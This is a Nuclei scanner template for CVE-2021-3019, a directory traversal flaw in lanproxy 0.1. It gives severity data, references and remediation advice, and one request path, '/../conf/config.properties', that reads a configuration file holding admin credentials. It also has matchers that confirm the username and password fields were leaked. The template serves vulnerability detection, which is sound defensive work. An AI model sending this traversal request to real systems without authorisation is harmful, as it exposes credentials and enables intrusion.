nuclei-templates/http/cves/2021/CVE-2021-3019.yaml

51 lines
1.6 KiB
YAML

id: CVE-2021-3019
info:
name: ffay lanproxy Directory Traversal
author: pikpikcu
severity: high
description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
remediation: |
Apply the latest patch or upgrade to a version that has fixed the vulnerability.
reference:
- https://github.com/ffay/lanproxy/commits/master
- https://github.com/maybe-why-not/lanproxy/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2021-3019
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3019
cwe-id: CWE-22
epss-score: 0.01044
epss-percentile: 0.82271
cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: lanproxy_project
product: lanproxy
tags: cve,cve2021,lanproxy,lfi
http:
- method: GET
path:
- "{{BaseURL}}/../conf/config.properties"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/octet-stream"
condition: and
- type: word
part: body
words:
- "config.admin.username"
- "config.admin.password"
condition: and
- type: status
status:
- 200
# digest: 480a00453043021f61b0dd190af003e9a5f7e4edd97eee718eabcf1345ac7e2677b5429dd9e0260220251d558430a784199442d6f7246b29540de868200c3a8098fb79d9171ced01e7:922c64590222798bb761d5b6d8e72950